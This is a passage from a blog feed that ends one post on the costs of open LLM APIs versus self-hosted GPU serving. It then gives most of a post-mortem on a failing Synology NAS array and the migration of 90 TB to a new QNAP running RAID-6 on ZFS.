<p><strong>On the vendor&rsquo;s own cloud API, yes, and by a wide margin.</strong> A full v4 run cost 97 cents on DeepSeek V4 Flash, 1.17 dollars on Qwen 3.8 Flash, 1.03 on MiMo V2.5 Pro, all Tier A in the cloud. Against 9.52 to 30.55 dollars for the 100-point models, that&rsquo;s ten to thirty times cheaper for a score 8 to 14 points lower. The list prices explain it: <a href="https://docs.z.ai/guides/overview/pricing"target="_blank" rel="noopener">GLM 5.3 Flash</a> costs 15 cents per million input tokens and 50 for output; <a href="https://api-docs.deepseek.com/quick_start/pricing"target="_blank" rel="noopener">DeepSeek Flash</a>, 15 to 30 cents input and 60 cents to 1.20 output; <a href="https://platform.claude.com/docs/en/about-claude/pricing"target="_blank" rel="noopener">Opus 5.5</a>, 4 and 20 dollars; <a href="https://developers.openai.com/api/docs/pricing"target="_blank" rel="noopener">GPT-6 Astra</a>, 10 and 50.</p>
<p><strong>On your own rented B300, no.</strong> The pod costs 9 dollars an hour on or idle, <strong>218 a day, about 6,500 a month</strong>. The model time of this whole batch, 14 models across download, load and sprints, added up to 23 hours, about 212 dollars at pod price; the sprints alone were 17 hours and 157 dollars.</p>
<p>But the pod also charges for the time when nothing runs. I put 400 dollars of credit on Runpod and 127 were left: the whole batch cost <strong>273 dollars</strong>, about 30 pod-hours, including storage, four pods in sequence and seven idle hours one night when the orchestration died and nothing warned me. Almost 60 dollars more than the model time, just waiting. The repository&rsquo;s break-even math: the pod only gets cheaper than the API from about <strong>6,500 runs a month</strong>, 217 a day, sustained. A solo developer or a small team doesn&rsquo;t come close.</p>
<p>And model against model, side by side:</p>
<table>
  <thead>
      <tr>
          <th>Model</th>
          <th>Cloud API</th>
          <th>Hosted by me on the B300</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>DeepSeek V4 Flash 0731</td>
          <td>85 (A) for US$ 1.94</td>
          <td>44.5 (D) for US$ 5.59 inference only</td>
      </tr>
      <tr>
          <td>Qwen 3.8 Flash (cloud) and Flash-Next (B300), same family</td>
          <td>86.5 (A) for US$ 1.17</td>
          <td>92.5 (A) for US$ 12.04</td>
      </tr>
      <tr>
          <td>Qwen 3.8 27B</td>
          <td>80 (B) for free on the Strix, in 706 minutes</td>
          <td>80.5 (B) for US$ 29.11, in 192 minutes</td>
      </tr>
  </tbody>
</table>
<blockquote>
  <p>The cloud API of an open model is ten to thirty times cheaper than the frontier for one tier less. Hosting the same model on a rented B300 is more expensive than the frontier, and sometimes worse than its own API.</p>

</blockquote>
<h2>Does a team fit on the same card?<span class="hx:absolute hx:-mt-20" id="does-a-team-fit-on-the-same-card"></span>
    <a href="#does-a-team-fit-on-the-same-card" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A question I asked while looking at the GPU at 10% utilization: do these models use all of the pod&rsquo;s compute? Could a whole team go on the same B300?</p>
<p>In principle, yes, and that&rsquo;s what vLLM exists for. <a href="https://vllm.ai/blog/2023-06-20-vllm"target="_blank" rel="noopener">Continuous batching</a> schedules several requests in the same decode step, and <a href="https://vllm.ai/blog/2023-06-20-vllm"target="_blank" rel="noopener">PagedAttention</a> stores each session&rsquo;s KV cache in non-contiguous blocks, with under 4% waste, precisely to fit more sessions in the same memory. A 27-billion model in BF16 takes 56 GB and leaves about 200 GB of KV cache: that&rsquo;s dozens of agent sessions with 128K-token context at the same time. The 397B, with 251 GB of weights, leaves 24, and then few fit.</p>
<p>What doesn&rsquo;t scale is speed per person. My test ran in <code>--performance-mode interactivity</code>, which optimizes single-stream latency, and the 200 tokens per second are that stream&rsquo;s. With ten agents decoding at the same time, the card&rsquo;s aggregate throughput rises and each one&rsquo;s falls, and the speculative decoding that gave me Muse Glimmer&rsquo;s 295 yields less as concurrency grows: a <a href="https://huggingface.co/z-lab/Muse-Glimmer-30B-DFlash2"target="_blank" rel="noopener">DFlash drafter published for Muse by Z Lab</a> reports 3 to 4.6 times gain with one session and 1.2 to 1.7 with 32.</p>
<p>I didn&rsquo;t measure concurrency in this batch, so what I can say is the outline: a team of five to ten people on a 27-to-35-billion model on one B300 is practical, and each one probably still stays above 100 tokens per second. The same team on the 397B is unworkable on the card, and on the 198 GB GLM 5.3 Flash it gets tight.</p>
<p>It&rsquo;s in that scenario, and only there, that the pod math starts to close. Ten developers running an agent all day on a 27B model would spend, on the API, at a dollar per two-hour run, about 40 dollars a day; the pod costs 218. It still loses. What changes the math is having a hundred people, or being required to keep the code from leaving your network.</p>
<h2>Is owning your own infra worth it?<span class="hx:absolute hx:-mt-20" id="is-owning-your-own-infra-worth-it"></span>
    <a href="#is-owning-your-own-infra-worth-it" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>For serious software development, with this batch&rsquo;s data, the answer comes in three parts.</p>
<p><strong>The top open models are good enough.</strong> GLM 5.3 Flash, Qwen3.8 Flash-Next and Swift 1.5 27B are Tier A in my test, at Sonnet 5 level and above Opus 4.6. That was unthinkable in April, when <a href="/en/2026/04/05/testing-llms-open-source-and-commercial-can-anyone-beat-claude-opus/">only Qwen 3.6 35B came close to Opus</a>, and still one fix away. For anyone who accepts one tier below the ceiling, they serve for real work, including security review, which is what v4 measures.</p>
<p><strong>Renting a B300 to run them is the wrong way to use them.</strong> The cloud API of the same model costs a dollar per run and needs zero configuration. The pod costs 218 a day, demands a day of tuning per model family, and in DeepSeek&rsquo;s case delivered a worse model than its own API. It&rsquo;s only worth it with a data-residency obligation, with a checkpoint no cloud serves, with sustained load of hundreds of runs a day, or with a need for pinned weights for reproducibility. Four B300s to run the 750-billion-to-one-trillion models quadruple the bill with no evidence the score reaches 100: the 397B, the biggest model I tested, scored 68.5.</p>
<p><strong>And if you&rsquo;re going to host, host small.</strong> Swift 1.5 27B and ThinkingCap at 56 GB, with MTP, at 200 tokens per second, are Tier A on hardware you can buy, a professional 80 or 96 GB card instead of a datacenter one. That&rsquo;s where open source makes sense for a company: a whole team on one card, code inside the network, an Opus 4.6 score. Just check the license first: Swift and ThinkingCap ship with their own licenses, and above a certain revenue both require a commercial license. The open giants remain an API thing.</p>
<p>My rule after all this: top commercial model for tasks that can&rsquo;t fail, open-model API for volume, and your own card only when the law or the client demands it. The repository with every serving argument, every probe log, every reviewer transcript and the Codex-or-Claude provenance of every boundary is <a href="https://github.com/akitaonrails/llm-coding-benchmark"target="_blank" rel="noopener">public</a>, as always.</p>
]]></content:encoded><category>llm-benchmarks</category><category>local-models</category><category>llms</category><category>hardware</category></item><item><title>Disaster on My NAS! How I Almost Lost 90 TB of Data</title><link>https://akitaonrails.github.io/en/2026/10/06/disaster-on-my-nas-how-i-almost-lost-90-tb-of-data/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/10/06/disaster-on-my-nas-how-i-almost-lost-90-tb-of-data/</guid><pubDate>Tue, 06 Oct 2026 12:00:00 -0300</pubDate><description>&lt;p&gt;Yesterday, Monday, I was woken up at 8 a.m. by a loud, insistent beep. I knew it was the NAS before I opened my eyes. I ran to check, and nearly lost it: two drives marked as critical, in an array that can never have more than one.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-2-discos-criticos.png" alt="Synology panel showing Storage Pool 1 in critical state, with drives 1 and 8 marked Critical" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;At that moment I knew I was a hiccup away from losing everything. This post is the post-mortem of what happened, and the first part was written in the heat of the disaster, with the rescue copy still running.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Yesterday, Monday, I was woken up at 8 a.m. by a loud, insistent beep. I knew it was the NAS before I opened my eyes. I ran to check, and nearly lost it: two drives marked as critical, in an array that can never have more than one.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-2-discos-criticos.png" alt="Synology panel showing Storage Pool 1 in critical state, with drives 1 and 8 marked Critical"  loading="lazy" /></p>
<p>At that moment I knew I was a hiccup away from losing everything. This post is the post-mortem of what happened, and the first part was written in the heat of the disaster, with the rescue copy still running.</p>
<blockquote>
  <p><strong>Update of October 11:</strong> the copy finished and the ending was a happy one. No file was lost by accident, both NASes are healthy, each with its own RAID-6. The full recovery is in the <a href="#six-days-later-the-end-of-the-story">second half of this post</a>. The first part stays as it was published, untouched.</p>

</blockquote>
<h2>I&rsquo;ve been using a NAS for a long time<span class="hx:absolute hx:-mt-20" id="ive-been-using-a-nas-for-a-long-time"></span>
    <a href="#ive-been-using-a-nas-for-a-long-time" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I&rsquo;m not new to this. I made an <a href="https://www.youtube.com/playlist?list=PLdsnXVqbHDUcM0LTAxqrVrTy6Q7jQprjt"target="_blank" rel="noopener">entire video mini-series on storage and filesystems</a> (in Portuguese), and I recommend watching it before asking me &ldquo;what&rsquo;s a good beginner NAS?&rdquo;. There is no such thing.</p>
<p>I&rsquo;ve used external storage since the second half of the 2000s, when I was a Mac user and Drobo existed. The company is gone, but I had three of their DAS units before migrating to Synology, first on an entry-level model and then on the mid-tier DS1821+, which I&rsquo;ve been using for more than five years. I&rsquo;ve written about it here, <a href="/en/2025/04/17/configuring-my-synology-nas-with-nfs-on-linux/">setting up NFS on Linux</a> and <a href="/en/2025/04/24/accessing-your-nas-using-iscsi-instead-of-smb/">accessing it over iSCSI</a>.</p>
<p>It&rsquo;s been very valuable to me, and you don&rsquo;t get to question why I need that much space. It doesn&rsquo;t matter: everyone decides what they keep on theirs.</p>
<p>When I was producing YouTube videos, I edited 4K footage straight from the NAS, thanks to the NVMe cache and 10 GbE networking. I got used to big storage at 10 gigabits and I can&rsquo;t go back.</p>
<p>The array was organized in SHR, Synology&rsquo;s hybrid RAID, which in practice behaves like RAID-5 (more on that later): it survives the loss of one drive without losing any data. I always thought that was enough.</p>
<h2>Hard drives die. Always<span class="hx:absolute hx:-mt-20" id="hard-drives-die-always"></span>
    <a href="#hard-drives-die-always" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Make no mistake: hard drives go bad. Never, ever trust a lone drive forgotten in a closet. It will fail, and you will lose everything on it.</p>
<p>The best public data on this comes from Backblaze, which runs hundreds of thousands of drives and publishes failure rates every quarter. In the <a href="https://www.backblaze.com/blog/backblaze-drive-stats-for-q2-2026/"target="_blank" rel="noopener">Q2 2026 report</a>, with 354,415 drives monitored, the annualized rate was 1.73%, and the lifetime rate for the whole fleet stands at 1.41% per year.</p>
<p>That sounds small. Translated to human scale:</p>
<ul>
<li><strong>One drive on its own, for 5 years:</strong> the chance of it dying in that period is close to 7%. That&rsquo;s roughly the chance of rolling one specific number on a 14-sided die. Would you bet every family photo on that?</li>
<li><strong>One drive on its own, for 10 years:</strong> about 13%, one in eight.</li>
<li><strong>Eight drives, like my NAS, for one year:</strong> the chance of at least one failing is about 11%. In five years, more than 40%.</li>
</ul>
<p>And those numbers are from a datacenter, with controlled temperature, clean power and drives spinning all the time. A drawer drive that sits idle for years and gets knocked around in a move doesn&rsquo;t have statistics that pretty.</p>
<p>Memory cards are worse, and there isn&rsquo;t even an equivalent statistic to consult. What exists is torture testing: the <a href="https://www.bahjeez.com/the-great-microsd-card-survey-one-year-later/"target="_blank" rel="noopener">Great MicroSD Card Survey</a> tested 216 cards over a year of continuous writing, and 52 of them, one in four, had already died.</p>
<p>Genuine cards started throwing errors, on average, after about 2,500 rewrite cycles; counterfeit cards, after 700. A memory card is transport media. Keeping the only copy of anything on a microSD is asking to lose it.</p>
<p>The practical conclusion is the same as in the mini-series: important data needs redundancy. A parity array exists precisely so that the death of one drive, which is a matter of time, doesn&rsquo;t take anything with it.</p>
<h2>What happened<span class="hx:absolute hx:-mt-20" id="what-happened"></span>
    <a href="#what-happened" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>With all that, I should have been at ease with my setup. I wasn&rsquo;t.</p>
<p>It started the day before yesterday, Sunday. For a while I&rsquo;d been watching the volume approach the ceiling.</p>
<p>At first it was 8 drives of 10 TB. Over the years I swapped them, one by one, for 20 TB drives (DSM shows binary units; on the label they&rsquo;re 12 and 22 TB). It&rsquo;s a slow process: each swap takes days, because the array has to rebuild and redistribute the data.</p>
<p>I decided to swap one more, the seventh. Synology supports hot-swap, so it&rsquo;s simple: pull the old drive, slot in the new one, add it to the array and let DSM handle the rebuild.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-pool-reparando.png" alt="Synology Storage Pool 1 repairing, 0.01% complete, with 108 TB allocated out of 121.8 TB"  loading="lazy" /></p>
<p>On Sunday night it looked like this: rebuild starting, all eight drives healthy, 108 TB allocated out of 121.8 TB.</p>
<p>On Monday, at 8 a.m., the beep. Drive 1, the new one, with 13 hours of use, marked critical:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-drive1-critico.png" alt="Synology drive 1 in critical state, with an I/O error and 13 hours powered on"  loading="lazy" /></p>
<p>And drive 8, one of the old ones, with 22,095 hours powered on (two and a half years), also critical, with a read error at 08:05:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-drive8-critico.png" alt="Synology drive 8 in critical state, with a read error and the message that the number of failed drives exceeds the RAID’s fault tolerance"  loading="lazy" /></p>
<p>The pool&rsquo;s message left no room: &ldquo;Unrecoverable errors have occurred because drive errors occurred after storage pool degradation. Please back up your data immediately.&rdquo;</p>
<h3>Why two drives is the end<span class="hx:absolute hx:-mt-20" id="why-two-drives-is-the-end"></span>
    <a href="#why-two-drives-is-the-end" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>In RAID-5, if two drives go down, redundancy is zero, and in theory the whole array goes with them. It&rsquo;s an unrecoverable situation.</p>
<p>Anyone who watched my playlist knows why. An array like this doesn&rsquo;t store &ldquo;files,&rdquo; one per drive. A file is a collection of blocks, and the blocks are spread across all the drives, along with the parity. Losing a drive is losing a piece of every file. It doesn&rsquo;t matter that the other seven are healthy, because they only have parts.</p>
<p>Parity is there to recompute the missing piece when one drive disappears. With two missing, the math doesn&rsquo;t close.</p>
<p>And there&rsquo;s a cruel detail in the rebuild: to recreate the new drive, the array has to read every other drive end to end. That&rsquo;s more than 100 TB of continuous reading. If some old drive had a bad sector hiding in a corner nobody had read in a long time, that&rsquo;s when it shows up. That&rsquo;s what happened with drive 8.</p>
<h2>Where do you copy 90 TB to?<span class="hx:absolute hx:-mt-20" id="where-do-you-copy-90-tb-to"></span>
    <a href="#where-do-you-copy-90-tb-to" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The only way out, at that point, was to thank the heavens that the volumes were still accessible, with the files showing up, and use the window to copy everything out immediately. I couldn&rsquo;t touch anything else.</p>
<p>The problem: copy about 90 TB to where? Nobody has an empty 100 TB NAS lying around at home.</p>
<p>Normally I&rsquo;d buy this kind of hardware in the United States, on a tourist trip, and bring it back with me. It&rsquo;s much cheaper. Buying expensive electronics in Brazil isn&rsquo;t worth it: the country has charged import taxes worse than Trump&rsquo;s tariffs for decades, and the final price usually goes past double the American list price.</p>
<p>Except I had to choose. What is it worth to lose 90 TB of data I spent years collecting and that is nearly impossible to recover from anywhere else? It&rsquo;s one of those situations where the answer is &ldquo;it&rsquo;s priceless,&rdquo; and so, whatever the price, I pay.</p>
<p>I found a storage reseller close to home, <a href="https://www.controle.net"target="_blank" rel="noopener">Controle Net</a>. Good people, very quick to respond, and they sent me a proposal for equipment with same-day delivery.</p>
<p>Their first suggestion was a QNAP TS-832PX. I researched it before accepting. It has the same 8 bays and ships with 10 GbE, but the processor is a 1.7 GHz ARM Cortex-A57 (Annapurna Labs AL324) with 4 GB of RAM, half the 8 GB minimum that QuTS hero asks for. For RAID-6 on ZFS, with checksums and double parity on every block, that&rsquo;s weak hardware, as I explain further down. And it would be a downgrade from the DS1821+ I already had, which runs on a Ryzen V1500B.</p>
<p>I asked for another option, and after some back and forth I settled on a QNAP TS-873A, 8 bays, with the same Ryzen V1500B as my Synology, 8 GB of RAM, and 10 Toshiba MG11 24 TB enterprise-class drives.</p>
<p>This is why you have to do your own research and know, objectively, what you want to do with the equipment. The reseller didn&rsquo;t act in bad faith: they suggested an 8-bay NAS to someone who asked for an 8-bay NAS. The one who knew it would run ZFS in RAID-6 was me. If I had accepted the first proposal in a panic, I&rsquo;d have paid a lot for a worse machine than the one I was replacing.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-proposta-qnap.png" alt="Reseller proposal: QNAP TS-873A, 10 Toshiba MG11ACA24TE 24 TB drives, installation, training and 6 years of support, total R$ 185,320.00"  loading="lazy" /></p>
<p>R$ 185,320.00. Eye-watering.</p>
<h3>What it would cost in the United States<span class="hx:absolute hx:-mt-20" id="what-it-would-cost-in-the-united-states"></span>
    <a href="#what-it-would-cost-in-the-united-states" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>I checked today&rsquo;s American list prices. About the exchange rate: the dollar is at R$ 4.97 right now, but that&rsquo;s the effect of Sunday&rsquo;s first-round election results, which knocked the rate down more than 4% on Monday. Through Friday it closed at R$ 5.22, and that&rsquo;s the fair rate to compare with, because that&rsquo;s the rate the reseller&rsquo;s stock was built at:</p>
<table>
  <thead>
      <tr>
          <th>Item</th>
          <th style="text-align: right">US price</th>
          <th style="text-align: right">Total</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>QNAP TS-873A-8G (<a href="https://store.qnap.com/ts-873a-8g-us.html"target="_blank" rel="noopener">QNAP store</a>, Newegg)</td>
          <td style="text-align: right">US$ 1,199</td>
          <td style="text-align: right">US$ 1,199</td>
      </tr>
      <tr>
          <td>10 × Toshiba MG11ACA24TE 24 TB (<a href="https://www.bhphotovideo.com/c/product/1889900-REG/toshiba_mg11aca24te_24tb_mg10_series_7200.html"target="_blank" rel="noopener">B&amp;H</a>)</td>
          <td style="text-align: right">US$ 999.99 each</td>
          <td style="text-align: right">US$ 9,999.90</td>
      </tr>
      <tr>
          <td>10 GbE card QXG-10G2T-X710 (<a href="https://www.bhphotovideo.com/c/product/1643883-REG/qnap_qxg_10g2t_x710_dual_port_10gbase_t_10gbe_network.html"target="_blank" rel="noopener">B&amp;H</a>)</td>
          <td style="text-align: right">US$ 351.99</td>
          <td style="text-align: right">US$ 351.99</td>
      </tr>
      <tr>
          <td><strong>Total</strong></td>
          <td style="text-align: right"></td>
          <td style="text-align: right"><strong>~US$ 11,550</strong></td>
      </tr>
  </tbody>
</table>
<p>At R$ 5.22, about R$ 60 thousand. I paid R$ 185 thousand, more than three times that.</p>
<p>The comparison isn&rsquo;t perfect: the Brazilian proposal includes installation, training and six years of technical support, and the equipment was on my desk by the end of the same day. But it gives the measure of the Brazil effect.</p>
<p>If the rule of thumb is &ldquo;double the American price,&rdquo; normal would be about R$ 120 thousand. The extra R$ 65 thousand is, in my own rough estimate, the sum of services, local stock of enterprise drives and my urgency. Whoever buys on a Monday morning with the array dying is in no position to haggle.</p>
<h3>And drives are expensive everywhere<span class="hx:absolute hx:-mt-20" id="and-drives-are-expensive-everywhere"></span>
    <a href="#and-drives-are-expensive-everywhere" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>To make it worse, this is the worst possible moment to buy hard drives. The AI bubble is sucking up production.</p>
<table>
  <thead>
      <tr>
          <th>Indicator</th>
          <th>Before</th>
          <th>Now</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>WD Blue 4 TB (Camelcamelcamel history)</td>
          <td>US$ 67 to 85</td>
          <td>US$ 99, <a href="https://winbuzzer.com/2026/02/18/wd-seagate-2026-hard-drive-shortage-ai-data-centers-xcxwbn/"target="_blank" rel="noopener">nearly 50% more in five months</a> (February 2026)</td>
      </tr>
      <tr>
          <td>Production capacity</td>
          <td>available at retail</td>
          <td>WD: 2026 practically sold out, with contracts through 2027 and 2028; Seagate: nearline capacity fully allocated</td>
      </tr>
      <tr>
          <td>WD gross margin</td>
          <td>41.0% a year earlier</td>
          <td><a href="https://datacenterdisk.com/news/hard-drive-prices-up-50-percent-2026"target="_blank" rel="noopener">54.1% in the quarter ended July 2026</a></td>
      </tr>
  </tbody>
</table>
<p>I thought Seagate had left the consumer market. I checked, and that&rsquo;s not quite it: it hasn&rsquo;t left, but in February 87% of its hard drive sales were already nearline drives, for datacenters, and WD gets 89% of its revenue from cloud customers and only 5% from retail. WD&rsquo;s CEO said the company is &ldquo;pretty much sold out for calendar year 2026.&rdquo;</p>
<p>Seagate has said it won&rsquo;t expand production capacity; growth comes only from higher-density drives. For someone buying drives at home, the practical effect is similar to them having left: you get what the hyperscalers didn&rsquo;t want, at whatever price the seller asks.</p>
<h2>QNAP instead of another Synology<span class="hx:absolute hx:-mt-20" id="qnap-instead-of-another-synology"></span>
    <a href="#qnap-instead-of-another-synology" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>After spending the morning and afternoon between negotiation, paperwork and payment, by the end of the day I had the QNAP powered on next to the Synology.</p>
<p>Choosing QNAP went beyond availability. Synology has been making questionable business decisions.</p>
<p>In 2025 it launched the Plus line <a href="https://www.tomshardware.com/pc-components/nas/synology-walks-back-controversial-compatibility-policy-for-2025-nas-units-third-party-hdd-and-ssd-support-returns-with-diskstation-manager-7-3-update"target="_blank" rel="noopener">requiring its own-brand drives or drives it certified</a>.</p>
<p>The own-brand ones are Seagate, Toshiba and WD drives rebadged with custom firmware, and anyone using something else was left without pool creation, health monitoring, deduplication or firmware updates. After the outcry, it <a href="https://www.howtogeek.com/synology-is-walking-back-its-drive-requirements/"target="_blank" rel="noopener">walked that back in DSM 7.3</a> and allowed HDDs and SATA SSDs from other brands.</p>
<p>Except M.2 pools still require the compatibility list. The uncertainty is left hanging: what stops them from doing it again?</p>
<p>Setting up the QNAP is very easy. QuTS hero, their ZFS-based system, is as simple to use as Synology&rsquo;s DSM.</p>
<h2>Fixing my mistake: RAID-6 and ZFS<span class="hx:absolute hx:-mt-20" id="fixing-my-mistake-raid-6-and-zfs"></span>
    <a href="#fixing-my-mistake-raid-6-and-zfs" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>This time I knew I had to configure RAID-6, which survives two drives failing at the same time. The downside is less total capacity, because the equivalent of two drives becomes parity instead of one. The upside is that I shouldn&rsquo;t have to go through an emergency like this again.</p>
<p>One of QNAP&rsquo;s strengths is supporting ZFS out of the box, well integrated and easy to use.</p>
<p>For those who don&rsquo;t know it: ZFS was born at Sun Microsystems, for Solaris, in the mid-2000s, and today lives on as OpenZFS on Linux and FreeBSD. It merges into one system what used to be three layers, the RAID, the volume manager and the filesystem. It keeps a checksum of every block, so it notices when a drive silently returns corrupted data, and repairs it on its own from parity. And it never overwrites data in place: every write goes to a new block, which makes snapshots practically free.</p>
<p>Its reputation as a RAM hog comes from two things. The first is the ARC, its cache, which by design takes up almost all the machine&rsquo;s free memory. That scares anyone looking at the graph, but it&rsquo;s cache: it gives the memory back when another process asks. The second is deduplication, which keeps a huge table with the hash of every block and needs it in RAM or it becomes unusably slow. The old rule of &ldquo;1 GB of RAM per TB of disk&rdquo; comes from there, and only applies to people who turn deduplication on.</p>
<p>Even without it, ZFS is heavier than ext4 or a simple Btrfs. Computing checksums, compression and double parity for every block costs CPU, and with little memory the cache shrinks and everything gets slow. On weak hardware, like an entry-level NAS with an ARM processor and 2 GB of RAM, it suffers.</p>
<p>QNAP asks for at least 8 GB for QuTS hero. Mine came with 8 GB and a quad-core Ryzen, which works for my use, which is storing large files and serving them over the network. Deduplication stays off.</p>
<p>I bought 10 drives for an 8-bay NAS, so two are left in the drawer as spares, for the day one fails.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-qnap-criando-pool-raid6.png" alt="QNAP storage pool creation wizard: 8 disks in RAID 6, 126 TB, 5% over-provisioning, 5% guaranteed snapshot space and an 85% alert threshold"  loading="lazy" /></p>
<p>For my simple setup, three settings:</p>
<ul>
<li><strong>5% over-provisioning.</strong> It&rsquo;s a slice of the pool the system reserves and never hands out for data. ZFS always writes to new space and gets slow when the pool fills up near the limit; this slack keeps performance stable. On SSD pools it also extends drive life, but these are hard drives, so the minimum is enough.</li>
<li><strong>5% guaranteed snapshot space.</strong> It&rsquo;s the reserve for snapshots, the &ldquo;photos&rdquo; of the state of your files that let you go back after an accident or ransomware. Guaranteeing the space means the snapshots keep existing even if I fill up the rest. My data changes little (it&rsquo;s mostly cold archive), so snapshots take almost nothing and 5% is plenty.</li>
<li><strong>Alert at 85%.</strong> The system warns me when the pool passes 85% usage, with room for me to act before hitting the ceiling. It was exactly the lack of room that had me swapping drives in a hurry on the Synology.</li>
</ul>
<p>Adding the two reserves, about 13 TB are set aside and 112.9 TB are left for use.</p>
<p>A detail of my case: I&rsquo;m copying the 90 TB with snapshots turned off, and I&rsquo;ll only enable the schedule after the copy finishes. A snapshot protects a file&rsquo;s previous state, and on an empty NAS receiving its first load there is no previous state worth protecting. The source of truth is still the Synology.</p>
<p>And there&rsquo;s a practical cost. I stopped and restarted the job several times, deleted folders that had gone in by mistake and copied again. With snapshots on, every deleted thing would keep taking up space inside some snapshot, and I&rsquo;d be filling the pool with the migration&rsquo;s own garbage. When everything is on this side and checked, then yes: scheduled snapshots, to protect me from deleting what I shouldn&rsquo;t and from ransomware.</p>
<p>After that I created one giant &ldquo;thick&rdquo; partition. In ZFS you can create a &ldquo;thin&rdquo; folder, which only takes up what&rsquo;s inside it and can promise more space than exists, or a &ldquo;thick&rdquo; one, which reserves the full size at creation. Since it&rsquo;s a pool with one owner and one use, thick is more predictable: the space is mine and nothing competes for it.</p>
<p>Finally, I created the shares and installed the HBS 3 app.</p>
<h2>Copying 90 TB<span class="hx:absolute hx:-mt-20" id="copying-90-tb"></span>
    <a href="#copying-90-tb" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>HBS 3 (Hybrid Backup Sync) is QNAP&rsquo;s app for backup and synchronization. It connects to another NAS, to rsync, FTP, SMB or the cloud.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-hbs3-criar-job.png" alt="HBS 3 sync job creation screen, with the destination options: local NAS, remote NAS, Rsync, FTP and CIFS/SMB"  loading="lazy" /></p>
<p>I connected to the Synology&rsquo;s SMB share and told it to sync everything.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-hbs3-job-sync.png" alt="HBS 3 syncing from the Synology TERACHAD to the QNAP TS-873A"  loading="lazy" /></p>
<p>I had to stop and restart a few times, tweaking the job settings, because it was absurdly slow. And the file count wouldn&rsquo;t stop growing:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-hbs3-snapshot-explosao.png" alt="HBS 3 job status showing 45 million files and 865 TB calculated, at an average of 350 MB/s"  loading="lazy" /></p>
<p>865 TB on a 108 TB NAS, and that&rsquo;s when I understood what was going on.</p>
<p>I excluded two kinds of path from the job:</p>
<ul>
<li><strong>The <code>#snapshot</code> directories.</strong> On Synology, when you check &ldquo;make snapshot visible,&rdquo; each shared folder gets a <code>#snapshot</code> subfolder with a full view of the folder at each point in time. Inside the Synology that takes no space, because a snapshot only stores the difference. Seen from outside, over SMB, every snapshot looks like a full copy of everything, and HBS was trying to copy them all.</li>
<li><strong>The restic backup directories.</strong> restic stores everything in hundreds of thousands of pack files of a few megabytes each. Network copying is fast with large files and suffers with small ones, because each one costs an open, metadata and a close. And those backups I&rsquo;ll redo from scratch on the new NAS.</li>
</ul>
<p>With that, throughput rose to an average of 400 MB/s.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-qnap-400mbs.png" alt="QNAP resource monitor showing 414.8 MB/s received on the 10 GbE interface"  loading="lazy" /></p>
<p>That&rsquo;s less than half of what a 10 GbE network delivers, but it&rsquo;s more than three times the gigabit most people have at home. Both sides really are at 10 gigabits:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-qnap-10gbe.png" alt="QNAP 10 GbE adapter connected at 10 Gbps"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-10gbe.png" alt="Synology LAN 5 interface at 10000 Mbps, full duplex"  loading="lazy" /></p>
<p>Why doesn&rsquo;t it reach 1,000 MB/s? My main hypothesis is drive 8. The source array is degraded, and every read that goes through the affected pieces has to be recomputed from parity, with a drive that on top of that returns errors and retries. It makes sense that the Synology can&rsquo;t go faster than this.</p>
<p>There&rsquo;s a second factor, which my own screenshots give away: the Synology has jumbo frames on (MTU 9000), and the QNAP image shows the default MTU of 1500. That screenshot is from earlier; I&rsquo;ve already changed the QNAP to 9000 as well.</p>
<p>Why it matters: MTU is the maximum size of each packet that travels on the network. At the default 1500 bytes, filling a 10-gigabit link means processing more than 800 thousand packets per second, and each packet costs CPU on both sides, for the header, the checksum and the interrupt. With jumbo frames each packet carries six times more data, so it&rsquo;s one sixth of the packets for the same volume, and more processor is left for moving files. It only works if everything in the path matches: both cards and the switch. If one side stays at 1500, the connection negotiates down to the smaller value and the other side&rsquo;s jumbo frames do nothing.</p>
<p>At 400 MB/s, 90 TB takes about two and a half days, and I prefer two and a half guaranteed days.</p>
<h2>What Synology explained<span class="hx:absolute hx:-mt-20" id="what-synology-explained"></span>
    <a href="#what-synology-explained" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>In parallel, I opened a ticket with Synology support. After some back and forth, I sent the logs. They responded fast, the same day, and I&rsquo;ll give them that. The engineer&rsquo;s explanation, summarized:</p>
<ul>
